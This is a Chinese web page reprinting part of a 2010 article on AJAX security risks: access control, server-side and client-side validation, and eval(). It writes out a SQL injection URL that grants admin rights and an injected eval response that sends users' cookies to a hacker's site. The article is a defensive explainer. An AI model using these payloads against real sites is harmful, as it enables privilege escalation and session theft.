首页 > 教程 > 关键词   >  AJAX最新资讯  > 正文

AJAX也有安全隐患,谈谈AJAX的安全性

2010-01-28 15:08 · 稿源:中国站长站综合

6.服务器端访问控制:使用JavaScript程序来触发AJAX经常会掩饰一些显而易见的编码错误,服务器端访问控制就是一个例子。假设Max想参考你上次游览的一个详细目的地来为你提供你中意的旅馆,他可能会是像下面这样:

showprevioushotels.aspx?userid=12345&destination=UK

这当然是非常好的,但是如果一个恶意用户把URL改成了如下所示该怎么办呢:

showprevioushotels.aspx?userid=12346&destination=%

他们会得到其他人最喜爱的旅馆吗?(注意:%在SQL语句中是通配符)。无疑,这是一个没有什么危害的例子,但是Max应该使用 session、cookie或者其它符号形式来确保数据能并且只能发送到正确的用户那里。它们可能仅仅是数据的一小部分,但它们可能就是最重要的一小部分。

7.服务器端验证:实际上这里有两个问题。第一,AJAX控制经常被用来在用户最后提交到服务器之前的输入验证。这麻痹了Max,使Max有一种虚假的安全感,原因是他建立了称作alloweddestinations.php的函数,根据用户的ID来决定他们能够到达的正确目的地。

因为这是一个服务器端的检查,当这个页面最后被提交的时候他不必再次为在服务器上做检查而烦恼,这里我们假定不会有恶意的用户暗中破坏从alloweddestinations.php的响应或者破坏对服务器最后的请求。

AJAX控制可以比用户自己更仔细验证用户的输入,但是他们还是经常在服务器上最后做一次验证。

AJAX验证的第二个问题就是控制本身会受到验证漏洞的影响。这里再次强调一下,URL通常是隐藏着的,所以也会经常忘掉它。举例说明一下,也许我可以使用SQL Injection来对刚才的脚本进行攻击,如下所示:

showprevioushostels.aspx?userid=’; update users set type=’admin’ where userid=12345;–

就会让我登录后具有系统管理员的权限。当然,如何取得那些表名(table)和字段名已经超出了本文讨论的范围,但是你已经了解这种情况了,不是吗?

8.客户端验证:我们已经知道在刚才的Google Suggest例子中,通过简单评测服务端的响应后动态创建和执行JavaScript函数是可行的。如果没有任何形式的验证(如果这样的话在客户端很难保证可靠性和流畅性),客户端将仅仅简单执行服务器需要它完成的事情。

这样的话,由于真正的代码怎么执行的对于一个普通用户来讲是永远看不到的(也就是说你不能够“查看源文件”),于是潜在地为恶意的黑客们打开了一个完全的攻击导向。如果服务器的响应持续不断地被捣乱(这种破坏行为可能是在Web服务器本身也可能是在数据传输过程中),这种攻击将很难被发现。

Max使用下面的响应在目的地网页上更新天气图标,他是用的函数是eval();函数:

updateWeatherIcon(’cloudy.gif’);

然而,恶意的cracker能够把这个函数变成下面的形式,这样要发现这种攻击就更加困难了:

updateWeatherIcon(’www.myhackingsite.ru/grab.aspx?c=’ + document.cookies); updateWeatherIcon(’cloudy.gif’);

我们现在能够在我们自己的服务器上跟踪每一个用户的session ID/cookie。

小结

毫无疑问,AJAX和AJAX-style技术都是通向web设计的光明大道。开发者可以在web上创造出以前从所未有的真正的“应用程序”,使用AJAX必须小心谨慎,这样才能够保证web站点的安全。

然而,最大的威胁之一,来自日益复杂的使用AJAX的客户端脚本和服务器端脚本。这些脚本被技术手段隐藏在了视线之外,使测试很不直观;同时,这种新技术看起来也使web开发者忘掉了基本的好的编码方式。就像访问控制和输入校验这样的问题也不会消失,它们变得更多更复杂了。

举报

  • 相关推荐
  • 大家在看
  • 12306:闲鱼上买65折的高铁票有风险 无法保证安全性

    近日,一则关于“闲鱼上65折的高铁票能不能买”的网友发文在网络上引发广泛关注。平台上有多位卖家打出诱人广告,声称能够提供商务座、一等座高铁动车票的65折至7折优惠券。 然而,购买这些所谓优惠票的过程却暗藏玄机。根据卖家要求,买家不仅需要确定具体的车次、时间以及乘车人姓名,还要将行程信息截图发送给卖家。更为关键的是,买家至少需支付1000元才能完

  • 23岁小伙每天一杯奶茶膝盖肿成馒头 果糖摄入过量留下隐患

    ​“膝盖突然肿得像馒头,疼得路都走不了。”近日,23岁的小林(化名)在家人的搀扶下,满脸痛苦地来到南京市第一医院风湿免疫科就诊。医生为其安排检查后发现,小林的血尿酸值竟高达880μmol/L,远超420μmol/L的正常值上限,最终被确诊为急性痛风性关节炎。 小林是个不折不扣的奶茶爱好者,每天至少要喝一杯奶茶。近半年来,他几乎雷打不动,每天午休都会前往公司�

  • 销售易“安全检测”能力上新:一招堵住安全漏洞,筑牢CRM安全底线

    某国际企业因云数据库未设置密码或安全认证,导致7.69亿条包含API密钥、银行账号等敏感信息的记录泄露,造成重大损失。这一事件促使企业更重视数字化系统的安全建设,尤其是CRM系统的数据安全能力。企业面临三大安全管理挑战:系统部署前缺乏安全检查、运行中管理松散、审计机制不完善。销售易推出的安全检测能力,可帮助企业构建三道防线:部署前安全检查预防漏洞、运行中定期体检消除风险、事后完整审计溯源。通过可视化、系统化的安全管理,护航企业数字化办公安全。

  • 盛夏来临 如何正确使用空调 避免“凉”出健康隐患

    随着盛夏高温持续攀升,空调成为居民降温的必需品,但因使用不当引发的健康问题日益凸显。近期多家医院接诊的"空调病"患者显著增多,症状包括面瘫、关节疼痛及呼吸道过敏等。专家提醒,科学使用空调需把握三大核心原则。

  • 全赛道获奖!聚铭网络闪耀第二届雄安未来之城场景汇网络安全技术应用大赛

    第二届雄安未来之城场景汇网络安全技术应用大赛圆满落幕。聚铭网络凭借深厚技术积累与创新能力,在"网络安全创新创意"、"网络安全解决方案"、"网络安全监测防御产品"三大赛道全部入围并荣获优秀奖,实现全赛道上榜。本届大赛以"汇聚网络安全技术,护航智能城市建设"为主题,聚焦雄安智能城市建设需求。聚铭网络申报的基于AI智慧异构环境的安全运营项目、异构融合技术的智慧安全运营中心解决方案、异构纵深防御技术的下一代智慧安全运营中心平台三大项目表现亮眼,均获分赛道优秀奖。此次"全赛道获奖"不仅是对聚铭网络技术创新能力的权威认可,更彰显了其在网络攻防实战、体系化运营及AI融合创新领域的综合实力。

  • 女子被狗咬后确诊猫抓病 医生提醒警惕动物接触隐患

    ​近日,陕西西安的王女士因腋下出现硬块且持续一个多月未消退,前往医院就诊。 经过详细检查,病理结果显示其侧腋窝淋巴结、左侧锁骨下淋巴结存在淋巴组织增生性病变,局灶区域有微脓肿形成并伴有中性粒细胞浸润,结合病史,医生最终诊断为猫抓病。令人意外的是,王女士几个月前并未与猫接触,而是曾被狗咬伤,并因此接种了破伤风疫苗。

  • 太阳电缆的“安全哲学”:在看不见的地方,做最踏实的支撑

    文章聚焦家装电线这一隐蔽却至关重要的家居"生命线",指出其虽藏于墙内却承担着安全隐患:线路老化易引发火灾、短路损坏家电、漏电风险及后期维修困难等问题。太阳电缆作为行业领军品牌,通过真实场景警示唤醒用户安全意识,凭借60余年技术积累和107项专利背书,重新定义家居用电安全标准。品牌通过入选"电线电缆十大领军品牌"等权威认证,结合终端体验店布局,构建从风险感知到信任建立的完整认知路径,推动行业从"被动忽视"转向"主动重视"家装电线安全。这既是品牌实力的彰显,更是对用户生命安全的责任担当。

  • 推动差异,理解共融:有录网入围英国两项女性影响力奖项!

    有录网入选"2025全英国家女性商业奖"和"2025年度女性奖"两项大奖,彰显其多元包容的价值观。该平台通过《Uoffer Global Frontiers》播客邀请全球女性领袖分享职场经验,探讨如何打破性别刻板印象、平衡工作生活。英国哈德斯菲尔德大学Jodie Boyd博士指出女性面临显性和隐性挑战,建议首先承认这些障碍的存在。目前有录网已帮助超20万国际学生进入顶尖大学,在全球40多个城市设立办公室,与100多所高校合作,致力于推动包容性教育变革。

  • 必战小米SU7 全新一代小鹏P7内饰全曝光:中控屏能“点头”

    小米SU7的强力竞争对手来了,它就是全新一代小鹏P7。 该车定位纯电轿跑,采用了非常别致的设计语言,辨识度非常高,而主打的也是运动感,就在今天小鹏汽车发布了该车内饰官图,可以看到不少眼熟的元素在。 全新小鹏P7配备了运动仪表屏,看起来非常像是领克如今使用的窄条状,可支持多种模式切换,而从仪表盘上90%电量续航675km计算,该车满电续航750km。

  • 安全不是简单喊口号!九号正在行动,深度解析九号产品有多安全?

    九号公司通过"被动安全"与"主动安全"双轨并行的设计理念,构建全方位电动两轮车安全体系。采用汽车级HC420合金钢等材料强化车架结构,配备大尺寸碟刹系统提升制动性能,并首创ALC自适应光幕技术保障夜间行车安全。智能防护方面,搭载ABS防抱死、TCS牵引力控制等系统,配合BMS6.0电池管理系统和行业首创的一键SOS紧急呼叫功能,形成从硬件防护到智能预警的

这篇文章对你有价值吗?

今日大家都在搜的词: